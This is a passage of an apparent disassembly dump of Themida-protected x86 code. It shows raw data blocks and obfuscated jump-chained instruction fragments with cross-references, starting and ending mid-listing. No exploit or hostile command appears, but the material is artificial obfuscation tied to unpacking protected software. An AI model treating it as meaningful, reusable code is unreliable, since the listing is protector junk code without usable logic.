8EE92404h, 66FFFF6Dh dd 65A8CF81h, 0D4F5E952h, 0E289FFFFh, 4C281h, 89E90000h dd 87FFFFACh, 0D35C243Ch, 67E92424h, 0C1FFFF52h, 0E95705E9h dd 10B4h, 0E3054859h, 0E9FF31BEh, 0FFFFB016h, 5F6CAFB8h dd 3913B971h, 17E91612h, 1FFFFB9h, 0FE015AD7h, 1EE9515Fh dd 68FFFFD9h, 0 dd 28242C81h, 815BFF23h, 6C88242Ch, 1C295188h, 24048124h dd 51886C88h, 0FF7190E9h, 3C895CFFh, 0BCFFE924h, 5966FFFFh dd 0B60FC330h, 8734FFC0h, 0FF2434FFh, 0E9582434h, 0FFFFD134h dd 348BF101h, 0E6895624h, 210E9h, 87D6F700h, 0D1C781F7h dd 298FE340h, 348B5FF8h, 0E6895624h, 4C681h, 4DE90000h dd 0D1FFFF83h, 55F381E3h, 0E920D014h, 0FFFF64A5h, 66E980h dd 5B59C8h, 515366D8h, 0FFCA58E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E91: ; CODE XREF: Themida_:0054B938j and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 0Ah push ebx jmp loc_54F04E ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 7E90000h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550EB3: ; CODE XREF: Themida_:0054C305j sub [edi+24h], esi push dword ptr [esp] mov esi, [esp] push edx mov edx, esp sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] pop esp push esi jmp loc_54B105 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0E3h dd 891662CAh, 0B2D5EF5h, 16EC47Ch, 7C0B05E8h, 2C8B6EC4h dd 4C48124h, 5D000000h, 5C68C381h, 0C3814782h, 14AE5051h dd 0E768C329h, 89000032h, 16682404h, 8B78127Ch, 0C4812404h dd 4, 0BC2C4735h, 8BC3816Ch, 291A3769h, 8BEB81C3h, 8B1A3769h dd 0C4832404h, 113CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550F3E: ; CODE XREF: Themida_:0054CBA7j mov edi, [esp] add esp, 4 add esi, 0CAE475Ah add esi, ebx sub esi, 0CAE475Ah jmp loc_550CE2 ; --------------------------------------------------------------------------- loc_550F57: ; CODE XREF: Themida_:0054D11Fj mov esp, [esp] mov [esp], ebx push ebp jmp loc_549792 ; --------------------------------------------------------------------------- db 50h dd 0FFB579E9h, 4C681FFh, 53000000h, 268h, 0EE815B00h, 343905B1h dd 4C9C681h, 0C6812325h, 1CE934B6h, 1DE9DE01h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F8F: ; CODE XREF: Themida_:00550819j pop edi xchg ecx, [esp] pop esp push edx push esp pop edx push ebx mov ebx, 4 jmp loc_547CB4 ; --------------------------------------------------------------------------- loc_550FA2: ; CODE XREF: Themida_:00548EF9j mov ecx, [esp] add esp, 4 push small 47C3h jmp loc_549AAF ; --------------------------------------------------------------------------- dd 83E9028Fh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550FBB: ; CODE XREF: Themida_:005482B9j xor ebp, 440460CAh dec ebp add ebp, 3B8AD252h sub eax, ebp pop ebp pop esi xor ebx, eax pop small word ptr [eax] jmp loc_546D8C ; --------------------------------------------------------------------------- dw 0DBF7h dd 9593EB81h, 6E05EC08h, 533DEC66h, 742700BBh, 0D485E928h dd 6CB9FFFFh, 0C1442119h, 0E9C103E1h, 0F1814102h, 33874CEh dd 0C8BCE01h, 0C2DDE924h, 0F531FFFFh, 0FF6C47E9h, 5005ADFFh dd 5305141Ah, 59EE9h db 0 ; --------------------------------------------------------------------------- loc_55101D: ; CODE XREF: Themida_:0054A4E0j add edi, 4 jmp loc_546D24 ; --------------------------------------------------------------------------- dd 54D8CA81h, 0E2813E89h, 41611A29h, 252F281h, 0E95530EDh dd 0FFFFA245h, 0FF240489h, 34FF2434h db 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5481AE ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 0FFFFB7A8h ; --------------------------------------------------------------------------- loc_551070: ; CODE XREF: Themida_:00547600j push ecx push 6AF53C05h pop ecx push ecx push 90133A3h pop ecx sub ecx, 869EADCBh push ebx push ecx sub dword ptr [esp], 3678139Fh pop ebx add ebx, 3678139Fh jmp loc_54A6C6 ; --------------------------------------------------------------------------- loc_551099: ; CODE XREF: Themida_:00547D56j add ebp, 4 jmp loc_54C332 ; --------------------------------------------------------------------------- loc_5510A4: ; CODE XREF: Themida_:0054ACD7j add esi, 4 jmp loc_54F7E7 ; --------------------------------------------------------------------------- loc_5510AF: ; CODE XREF: Themida_:0054CDB5j pop edi jmp loc_5497E2 ; --------------------------------------------------------------------------- db 88h, 0E1h, 58h dd 0CB88D1F6h, 240C8B66h, 5E08950h, 4, 5002C083h, 42474FFh dd 0FFA735E9h, 0DA295AFFh, 68241C8Bh, 7E7Ch, 89240489h dd 7C77E9E0h, 8B66FFFFh, 0C4812414h, 2, 0FFBC8DE9h, 0F8E953FFh dd 5AFFFF89h, 0FF8B19E9h, 72CB81FFh, 0C1294737h, 0E38108EBh dd 6D3D26E4h, 30C9F381h, 0D889250Ah, 36E9355Bh, 0C1012523h dd 2BD5558h, 0E9000000h, 1037h, 0A680E956h, 4DB8FFFFh dd 893B545Bh, 0CF8158C7h, 46C252A7h, 0A4B8E94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55114A: ; CODE XREF: Themida_:0054E3C2j sub ecx, 4 jmp loc_54D1E6 ; --------------------------------------------------------------------------- loc_551152: ; CODE XREF: Themida_:0054DCF9j add eax, ecx pop ecx push eax push dword ptr [esp+4] mov eax, [esp] push esi mov esi, esp push edi mov edi, 5AA173ECh sub edi, 2E757D7Ch shl edi, 1 shl edi, 2 jmp loc_5517CB ; --------------------------------------------------------------------------- dw 478Fh dd 38B85040h, 0E942E92Bh, 38Ch, 5037BF57h, 0EFC1668Dh dd 23CF8104h, 0E953DD59h, 0FFFF9B14h, 425CE581h, 0BB532B1Fh dd 7AF51EC1h, 6119EB81h, 0DD01A40Ch, 5DEA015Bh, 502968h dd 0CBB6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5511BA: ; CODE XREF: Themida_:0054DB84j neg edx not edx not edx xor edx, 29D96319h push esi jmp loc_54B880 ; --------------------------------------------------------------------------- dd 295DE801h, 5D7E2DE8h, 535D41EBh, 8374A9BBh, 5BD80100h dd 295C232Dh, 305D0512h, 0E801441Ch, 1C305D2Dh, 5C230544h dd 0A92D1229h, 0E9008374h, 591h, 3EB652h, 24148BF3h, 4C481h dd 148B0000h, 4C48324h, 0FFB76BE9h, 240401FFh, 4E1CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551222: ; CODE XREF: Themida_:0054B57Cj add esp, 4 push dword ptr [esp] jmp loc_54E421 ; --------------------------------------------------------------------------- loc_551230: ; CODE XREF: Themida_:0054B4ECj add esp, 4 push ecx mov ecx, 24h add ecx, edi add [ecx], edx mov ecx, [esp] push esi jmp loc_54A4C2 ; --------------------------------------------------------------------------- loc_551249: ; CODE XREF: Themida_:0054F83Bj xor edi, 69D05053h jmp loc_5514AB ; --------------------------------------------------------------------------- dd 54E9F188h, 0B7FFFF65h, 5AD70089h, 8B66F830h, 0EC81241Ch dd 4, 0E9241489h, 8B6h, 0E9E7ED80h, 0FFFF9DDAh, 4136A05h dd 8BC50157h, 54512404h, 4C18159h, 81000000h, 4C1h, 240C8700h dd 2C5815Ch, 87000000h, 248B242Ch, 67A0E924h, 3068FFFFh dd 89000063h, 0E789243Ch, 8904EC83h, 22BB241Ch, 5320857Bh dd 0FF99B8E9h, 242C89FFh, 0FF71ABE9h, 3C77FFFFh, 0FF2434FFh dd 48B2434h, 6BEB6824h, 4890000h, 0E9E08924h, 0FFFFB10Eh ; --------------------------------------------------------------------------- loc_5512E8: ; CODE XREF: Themida_:0054EE0Ej add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] imul cx push small 1A1Fh jmp loc_54E4C6 ; --------------------------------------------------------------------------- db 50h, 0E9h, 92h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551303: ; CODE XREF: Themida_:0054700Cj movzx eax, al lea eax, [edi+eax*4] push edi mov edi, esp add edi, 4 jmp loc_54E8DA ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 240C8B24h, 4C481h, 0C4830000h, 0F840E904h dd 0E95AFFFFh, 0FFFFBD1Fh, 9C8882BFh, 0FABDE983h, 0B850FFFFh dd 1E371E7Dh, 0D24E20Dh, 0E9D8F722h, 0FFFF7119h, 672CF828h dd 1C8BAB2Ch, 4C48124h, 53000000h, 0E2B65251h, 0FFC0CAE9h dd 243C33FFh, 0E9243C31h, 0FFFFBDFCh, 0A1685751h, 5F4D0D49h dd 394E9h, 6EB2BA00h, 0D0312C18h, 0AF49E95Ah, 4D3FFFFh dd 0A7E99C24h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551397: ; CODE XREF: Themida_:0054A081j add edx, 4 jmp loc_54BEBA ; --------------------------------------------------------------------------- db 0F7h dd 50DEF7D6h, 0FFE40AE9h, 240433FFh, 0FFC835E9h, 243C89FFh dd 5404EC83h, 8124048Fh, 42404h, 3C8B0000h, 4C48324h, 4D9A68h dd 240C8900h, 4B9h, 800AE900h, 48FFFFFh, 24248B24h, 8904EC83h dd 0B9240Ch, 81000000h, 0E223C0C1h, 81C10118h, 0E223C0E9h dd 10886818h, 1C890000h, 0BA5224h, 89000000h, 0B9515AD3h dd 44DB401Bh, 159CB01h, 1BEB81CBh, 5144DB40h, 0FF98CDE9h dd 0E9E829FFh, 0FFFF59B7h ; --------------------------------------------------------------------------- loc_551428: ; CODE XREF: Themida_:00548A30j push 697Eh mov [esp], edx push 5067h mov [esp], ebx mov ebx, 14A264AEh xor ebx, 33C540A2h mov edx, ebx pop ebx sub eax, edx mov edx, [esp] add esp, 4 push 1B1Ah jmp loc_54B906 ; --------------------------------------------------------------------------- db 0FFh dd 835E2434h, 148704C4h, 24248B24h, 4313B850h, 4429610Dh dd 0A8E90424h, 58FFFFE3h, 0BF57535Ah, 1CA56D80h, 0E92CC568h dd 241C8B20h, 0E9E28952h, 0FFFFB996h, 6866h, 243C2966h dd 0FF9A0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55149D: ; CODE XREF: Themida_:005524A4j add esp, 4 xor edx, edx push edi jmp loc_54A02C ; --------------------------------------------------------------------------- loc_5514AB: ; CODE XREF: Themida_:0055124Fj sub ecx, edi pop edi jmp loc_54C025 ; --------------------------------------------------------------------------- db 0B9h dd 14426B79h, 759AF181h, 0C80176BBh, 2DD80159h, 62F91EE3h dd 4A13E02Dh, 2434FF27h, 81241C8Bh, 4C4h, 4C48100h, 87000000h dd 665C2404h, 2404AB0Fh, 4B50E99Ch, 3C87FFFFh, 24248B24h dd 81E38953h, 4C3h, 4BA5200h, 1000000h, 0FF535AD3h, 0E9042474h dd 0FFFF921Fh, 8B404729h, 0E9552404h, 0FFFF63EFh, 0FE95655h dd 81FFFF58h, 0C83F2DC3h, 0E096E9E7h, 0EB81FFFFh, 4, 5C241C87h dd 68240489h, 128h, 52242489h, 4BAh, 24540100h, 52F1E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551552: ; CODE XREF: Themida_:00548B81j mov ebx, 5E61373Bh and ebx, 195A5E52h and ebx, 2C7553AEh xchg ebp, ebx not ebp xor ebx, ebp xor ebp, ebx jmp loc_54CF46 ; --------------------------------------------------------------------------- dd 0C181D1F7h, 43491DE8h, 0C181D9F7h, 8BDBA618h, 0FFE4CCE9h dd 75EBB8FFh, 39250FB1h, 3549FF0Eh, 3D9A6BB5h, 0E543DD05h dd 5A663550h, 0BB0D0052h, 2D0B045Ch, 4EC0BB0Ah, 86E9C501h dd 66FFFF56h, 66241489h, 0DEE99C50h, 56FFFF7Dh, 4565E1BEh dd 0AD0BE95Bh, 52ACFFFFh, 0EA809EB2h, 7ED0E94Bh, 0BB53FFFFh dd 4, 0E95BDD01h, 0FFFF625Ch, 49F280h, 24148BD0h, 0FFC47FE9h dd 0C3015EFFh, 4EC8356h, 0FF8A05E9h, 40EA80FFh, 0FF4DCEE9h dd 2434FFFFh, 0FFD229E9h, 0E9D9F7FFh, 0FFFFD883h, 2BB53h dd 0DF010000h, 243C875Bh, 6624248Bh, 5324048Bh, 5752E389h dd 477DBE56h, 30BF5EADh, 315C6102h, 0D7BBE9F7h, 9CBAFFFFh dd 891D8662h, 0C1485AD0h, 0E0C108E0h, 0FFBF5707h, 2DFFFFFFh dd 40196E21h, 2105F801h, 5F40196Eh, 41456435h, 0FFC13153h dd 0ABE92434h, 88FFFFC8h, 873C88EFh, 240C8B5Bh, 4C481h dd 0BFE90000h, 54FFFF49h, 8124148Bh, 4C4h, 0D210E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55168E: ; CODE XREF: Themida_:005460B9j mov edi, 28CF3866h jmp loc_546406 ; --------------------------------------------------------------------------- dd 1BB534Fh, 0E91C062Dh, 306h, 83E95F52h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516AB: ; CODE XREF: Themida_:00548A65j movzx cx, ah push small 54FCh mov [esp], cx movzx cx, al push cx pushf jmp loc_54603E ; --------------------------------------------------------------------------- db 81h dd 0E93A49C5h, 5DE82161h, 2D03E8C1h, 9D4D0F31h, 48BC221h dd 4C48324h, 0E82DEA81h, 0BDE912DCh db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516E7: ; CODE XREF: Themida_:0054E93Cj sub eax, ecx pop ecx pop esi add eax, 4 jmp loc_5521B2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 78B3E924h, 0C480FFFFh, 0E9E130FCh, 0FFFFF609h ; --------------------------------------------------------------------------- loc_551708: ; CODE XREF: Themida_:005477F5j push esi mov esi, 58CE5FECh mov edi, esi jmp loc_54F358 ; --------------------------------------------------------------------------- db 55h, 0BDh, 76h dd 0E93ABB30h, 0FFFFC0FEh, 5268E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551726: ; CODE XREF: Themida_:0054B534j mov dl, 0B2h add dl, 58h sub bl, 3Fh add bl, dl add bl, 3Fh pop edx add bl, al push 2D08h mov [esp], edx mov dh, 0D4h push ecx jmp loc_551E7D ; --------------------------------------------------------------------------- dw 575Ch dd 68E9E789h, 66FFFFC5h, 6657AB68h, 0E9240489h, 0FFFF48E2h ; --------------------------------------------------------------------------- loc_55175C: ; CODE XREF: Themida_:0054A8C8j shl edx, 4 push ebp jmp loc_54F8D3 ; --------------------------------------------------------------------------- loc_551765: ; CODE XREF: Themida_:0055243Bj pop dx sub bl, 0FFh shl bl, 8 jmp loc_550A40 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF48C6h, 0E9240C33h, 0FFFF79D2h, 249BEA81h, 0B3E91713h dd 5BFFFF48h, 0FFF622E9h, 10AD05FFh, 7EE95129h, 1FFFF9Bh dd 0FF5258C2h, 5A042474h, 0E924048Fh, 0CDCh, 0C781C701h dd 0AA339AEh, 0FF850AE9h, 0C8B66FFh, 79E95624h, 66FFFF57h dd 0C9E9F1F7h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517CB: ; CODE XREF: Themida_:00551171j xor edi, 6CCC1AECh xor edi, 0D93A968h add esi, edi pop edi push ebp mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp] jmp loc_54E265 ; --------------------------------------------------------------------------- db 5Fh dd 0FFD0D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5517F1: ; CODE XREF: Themida_:00551D93j not esi or esi, 41012E50h inc esi push ebp mov ebp, 0ACC5E60h or ebp, 568C3ED9h xor ebp, 0FB9AD04Eh xor esi, ebp jmp loc_550320 ; --------------------------------------------------------------------------- db 0BDh dd 0BBEAC2FEh, 15DEF01h, 243C8BF8h, 95EBE955h, 2C33FFFFh dd 8FFCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55182E: ; CODE XREF: Themida_:0054D84Cj mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_546141 ; --------------------------------------------------------------------------- dd 31240433h, 4332404h, 4FF5C24h, 0EFE99C24h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55184F: ; CODE XREF: Themida_:00548188j pop edx sub edi, 64387888h jmp loc_54C0E4 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 367F6851h, 0E9595409h, 0FFFF8C38h dd 8124048Bh, 4C4h, 240C3300h, 33240C31h, 248B240Ch, 32DB6824h dd 0C9E90000h, 8BFFFF9Bh, 0A30F2424h, 0E99C2404h, 0FFFF47A2h ; --------------------------------------------------------------------------- loc_55189C: ; CODE XREF: Themida_:005489C4j push dword ptr [esp] push dword ptr [esp] pop ecx push esi jmp loc_54BF9D ; --------------------------------------------------------------------------- loc_5518A9: ; CODE XREF: Themida_:0054BA88j add esp, 4 dec dh neg dh add dh, 87h add bl, 50h jmp loc_54AE53 ; --------------------------------------------------------------------------- dw 1489h dd 0BF5724h, 89000002h, 0EB6AE9FAh, 0B951FFFFh, 61080B7Eh dd 0BC9EE981h, 0C82931E7h, 0FF4D34E9h db 0FFh ; --------------------------------------------------------------------------- loc_5518E1: ; CODE XREF: Themida_:0054A12Dj pop edi shl edi, 5 inc edi xor edi, 0C546A1E5h mov edx, edi pop edi jmp loc_54BE92 ; --------------------------------------------------------------------------- dd 602130B9h, 3AE9814Bh, 8179C072h, 7A7ABDC9h, 8E9812Eh dd 1DAF68Fh, 0F50159CDh, 72AFE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551916: ; CODE XREF: Themida_:005519CBj mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_549014 ; --------------------------------------------------------------------------- aWhZ db 'WhÑZ',0 dd 24248900h, 4240481h, 5F000000h, 360A68h, 5BA9E900h dd 91BBFFFFh, 4305254Eh, 0B1E3814Bh, 0E91CC757h, 0FFFFF310h dd 0E92434FFh, 0FFFFAF03h, 5724048Bh, 0BD55E789h, 6EC3505Eh dd 0FFC839E9h, 241C89FFh, 53512CB7h, 0D98806B3h, 0FFEDC4E9h dd 4EC81FFh, 89000000h, 0E6892434h, 0FF69A3E9h, 490368FFh dd 0C890000h, 0F8B2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519A2: ; CODE XREF: Themida_:0054B5FDj xor [esp], eax jmp loc_54B21C ; --------------------------------------------------------------------------- dw 0DF31h dd 5FF9315Bh, 0E959CF01h, 0FFFFA19Eh, 295FF989h, 535D59C8h dd 32E9E389h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519C7: ; CODE XREF: Themida_:00551DA7j add ecx, edi pop edi push edx jmp loc_551916 ; --------------------------------------------------------------------------- dd 0E9505A66h, 0FFFFFFBDh, 5C0FE981h, 0F901757Ch, 5C0FC181h dd 535F757Ch, 2BBh, 0DEC18100h, 816B8B33h, 5D041EC1h, 81D90116h dd 5D041EE9h, 0DEB85016h, 296B8B33h, 515B58C1h, 42474FFh dd 81240C8Bh, 4C4h, 24048F00h, 790DE95Ch, 77FFFFFFh, 58669D1Ch dd 9C240418h, 0FF460DE9h, 97CA80FFh, 0F6B2C280h, 7EAC0DAh dd 88EEEA80h, 0FE885AD7h, 0AFF8E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A4A: ; CODE XREF: Themida_:0054A7FBj push esi mov esi, 79932D73h jmp loc_5496A0 ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 8B243433h, 89662424h, 6BE9240Ch, 68FFFFDCh, 6EF2h, 0B8240489h dd 9C11DD7h, 3E0DD8F7h, 2D5E1710h, 6E1B1114h, 3005D0F7h dd 0E99024E1h, 0FFFF705Eh, 81240C8Bh, 4C4h, 24048F00h dd 0FF504CE9h db 0FFh ; --------------------------------------------------------------------------- loc_551A9D: ; CODE XREF: Themida_:0055004Ej sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ebp jmp loc_54AEF0 ; --------------------------------------------------------------------------- dd 5169EB80h, 0ED806AB5h, 59EB2850h, 8904EC83h, 0CFE92414h dd 81FFFF93h, 0CADD5DC1h, 59CD292Dh, 0FFCEF5E9h, 0FFC680FFh dd 0FFC27DE9h db 0FFh ; --------------------------------------------------------------------------- loc_551ADD: ; CODE XREF: Themida_:0055027Fj mov edi, eax pop eax neg edi sub edi, 0F03DFDA8h and ecx, edi push dword ptr [esp] pop edi add esp, 4 shr ecx, 7 jmp loc_54F815 ; --------------------------------------------------------------------------- loc_551AFC: ; CODE XREF: Themida_:0054BD5Ej pop eax jmp loc_550811 ; --------------------------------------------------------------------------- dw 0CFFh dd 33E99C24h, 0BFFFFF45h, 4, 0E95FFE01h, 0FFFF63DAh, 31242C33h dd 2C33242Ch, 4315C24h, 4514E924h, 0E289FFFFh, 4C281h dd 0C2810000h, 2, 5C241487h, 805DB252h, 0F3E946E2h, 5CFFFFE4h dd 81242489h, 42404h, 815B0000h, 4C3h, 2C38300h, 5A2A68h dd 0B0E3E900h, 0C8BFFFFh, 762AE924h, 0CE29FFFFh, 657CE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B76: ; CODE XREF: Themida_:00549F03j mov [esp], edi jmp loc_5469C7 ; --------------------------------------------------------------------------- dw 0C6FEh dd 0E908E6C0h, 0FFFF8339h, 1366F781h, 0CF8153E8h, 3CE42A1Ch dd 1C04E781h, 0EFC13F8Fh, 81DFF703h, 6E7C84F7h, 5FFB01F8h dd 0FFD071E9h, 51D830FFh, 8904EC83h, 88E92414h, 83FFFF9Bh dd 348704EEh, 14895C24h, 4EC8124h, 89000000h, 0BA522424h dd 4, 4244481h, 2812043Fh, 4245401h, 4246C81h, 2812043Fh dd 9AFEE95Ah, 8B66FFFFh, 5452240Ch, 8124148Bh, 4C4h, 4BB5300h dd 1000000h, 241C8BDAh, 0E904C483h, 0FFFF86ECh, 0E99CC884h dd 0FFFF4426h, 6B7FF181h, 0C9816EBEh, 284638E1h, 1C4CC181h dd 0D18718C3h, 5952514Ah, 806EE95Ah, 2C8BFFFFh, 4C48324h dd 4B850h, 0FCE90000h, 5FFFFFCFh, 8704C283h, 0E95C2414h dd 0FFFF43EAh ; --------------------------------------------------------------------------- loc_551C54: ; CODE XREF: Themida_:005520C7j push esi jmp loc_54D851 ; --------------------------------------------------------------------------- dw 4481h dd 2A120424h, 44293572h, 6C810424h, 2A120424h, 0FE93572h dd 0B4FFFFB4h, 80B4B23Ah, 0C28092EAh, 0E9E20040h, 0FFFFF975h dd 4C481h, 0E9010000h, 2C1815Dh, 33000000h, 0C31240Ch dd 240C3324h, 0D324248Bh, 0E99C243Ch, 0FFFF4396h ; --------------------------------------------------------------------------- loc_551CA8: ; CODE XREF: Themida_:0054B8BAj mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 1Ch add ebx, edi mov eax, [ebx] push dword ptr [esp] push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 jmp loc_54D12E ; --------------------------------------------------------------------------- db 5Dh dd 70C7C581h, 0E94568FCh, 0FFFFDBA2h, 7FE7815Eh, 81257529h dd 45528ACFh, 65C7811Fh, 315351B5h, 0F0015FFEh, 0FF74D0E9h dd 7BB868FFh, 24890000h, 54D2E924h, 5052FFFFh, 34592268h dd 24048B24h, 4C481h, 93E90000h, 66FFFF47h, 5C0C381h, 66FB2966h dd 5C0EB81h, 0BF665766h, 1660A59h, 8B5F66FBh, 4FE9243Ch dd 8BFFFFDBh, 0C4832404h, 4EC8104h, 89000000h, 0E189240Ch dd 4C181h, 0EC810000h, 4, 0E9241489h, 0FFFF8F74h, 2474FF57h dd 243C8B04h, 4C481h, 48F0000h, 24248B24h, 24048966h, 0FFD20BE9h db 0FFh ; --------------------------------------------------------------------------- loc_551D85: ; CODE XREF: Themida_:0054B651j pop ebp push esi mov esi, 2DCE7048h or esi, 77165620h dec esi jmp loc_5517F1 ; --------------------------------------------------------------------------- loc_551D98: ; CODE XREF: Themida_:0054737Fj shr edi, 8 sub edi, 78877D30h sub edi, 87A38671h jmp loc_5519C7 ; --------------------------------------------------------------------------- loc_551DAC: ; CODE XREF: Themida_:0054CBFDj push ebx mov ebx, ebp mov edi, ebx jmp loc_55227C ; --------------------------------------------------------------------------- dw 2C87h dd 91A8E924h, 42DFFFFh, 50000000h, 42474FFh, 24048F58h dd 4DC1E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551DD2: ; CODE XREF: Themida_:0054E720j xor esi, [edi+24h] sub esp, 4 jmp loc_54D299 ; --------------------------------------------------------------------------- db 52h, 0B2h, 0D0h dd 0FE07E2C0h, 0BBF280CAh, 665AD720h, 6619E950h, 8B66FFFFh dd 36E92404h, 0E9FFFF43h, 0FFFF423Eh, 575EF589h, 45415EBFh dd 6A01E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E0E: ; CODE XREF: Themida_:0054A56Cj add esi, 4 push ebx mov ebx, 6705701Ah inc ebx or ebx, 642D09E6h add ebx, 0FFFFFFFFh jmp loc_54E40C ; --------------------------------------------------------------------------- dd 5504C483h, 0FFE2E2E9h, 2434FFFFh, 8324148Bh, 0C48304C4h dd 63D2E904h, 335CFFFFh, 3C31243Ch, 243C3324h, 6624248Bh dd 9C2404D3h, 0FF41E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_551E5D: ; CODE XREF: Themida_:0054C8F7j mov [esp], edi mov edi, 5D273E8h push eax jmp loc_54FF77 ; --------------------------------------------------------------------------- db 5Bh dd 4C381h, 0C3810000h, 4, 217E9h db 0 ; --------------------------------------------------------------------------- loc_551E7D: ; CODE XREF: Themida_:00551741j mov cl, 7Ch shl cl, 5 jmp loc_546EA6 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 0E9000000h, 0FFFFF73Eh, 0E35B14BFh, 0F7FAE94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E9E: ; CODE XREF: Themida_:005500BFj not ebx jmp loc_54C30A ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 7 dd 0FFE225E9h, 4C481FFh, 68000000h, 1306h, 89241489h, 4C281E2h db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54ECA1 ; --------------------------------------------------------------------------- db 1 dd 2E95BDFh, 86FFFF4Ah, 66D6F6F1h, 0F1885153h, 0FFC71FE9h db 0FFh ; --------------------------------------------------------------------------- loc_551EF1: ; CODE XREF: Themida_:00549F99j add ebx, 0DF6B9C85h dec ebx push edi jmp loc_54C7F4 ; --------------------------------------------------------------------------- dw 1C89h dd 62C6BB24h, 25E969DFh, 89FFFFE8h, 0CEE95BDAh, 0ADFFFFCDh dd 0FDF4E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F1A: ; CODE XREF: Themida_:0054914Dj push 635h mov [esp], esi not dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_54ECE9 ; --------------------------------------------------------------------------- db 57h dd 4BFh, 0DE0EE900h, 0EF81FFFFh, 2CE91479h, 0EA4FE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F4A: ; CODE XREF: Themida_:0054669Bj push dword ptr [eax] push edi push ebx jmp loc_549A23 ; --------------------------------------------------------------------------- loc_551F53: ; CODE XREF: Themida_:0054C1E3j mov ecx, 78283F4Fh jmp loc_54ACBF ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 9BE95453h, 29FFFF82h, 0DE015DEEh, 2D54BF57h, 0EF817C8Eh dd 6E7EBDD4h, 815FFE01h, 8C30C4C6h, 0C2C6813Eh, 0FF7B5D13h dd 1C8B2434h, 7E5EE924h, 0EB81FFFFh, 25A64F3Bh, 74FF535Fh dd 8F5B0424h, 665C2404h, 5124048Bh, 5350E189h, 22687FBBh dd 28BE5608h, 814FDB63h, 0C3328EEh, 0BA54E915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551FC2: ; CODE XREF: Themida_:0054E622j pop edx mov edi, 0E6149E4h xor edi, ecx pop ecx and eax, edi push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 add esp, 4 shr eax, 0Ch xor eax, ecx xchg eax, ebp not ebp push 6B46h mov [esp], eax push 73C7h mov [esp], ebp mov eax, [esp] push ebp push esp pop ebp jmp loc_54F291 ; --------------------------------------------------------------------------- dd 0EDEA815Eh, 296A4C02h, 0EDC281F2h, 5E6A4C02h, 0E955C229h dd 0FFFF463Eh ; --------------------------------------------------------------------------- loc_552018: ; CODE XREF: Themida_:0054A1D9j xchg ebp, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_54603E ; --------------------------------------------------------------------------- db 0B8h, 3Eh, 0Eh dd 46E927D3h, 0FFFFFF6Eh, 34FF2434h, 0C4815824h, 4, 714C6850h dd 24890000h, 0AA57E924h, 61BEFFFFh, 0E938847Ah, 0FFFF5C2Bh dd 0B9240C89h, 2, 0DE9C801h, 56FFFFC8h, 0FF6817E9h, 4C483FFh dd 2ED81h, 89520000h, 78CFE9E2h, 0B850FFFFh, 67100DC5h dd 0C66E7E25h, 96D8F756h, 12D9646h, 0E9000000h, 0FFFF7D89h dd 2474FF53h, 2434FF04h, 81241C8Bh, 4C4h, 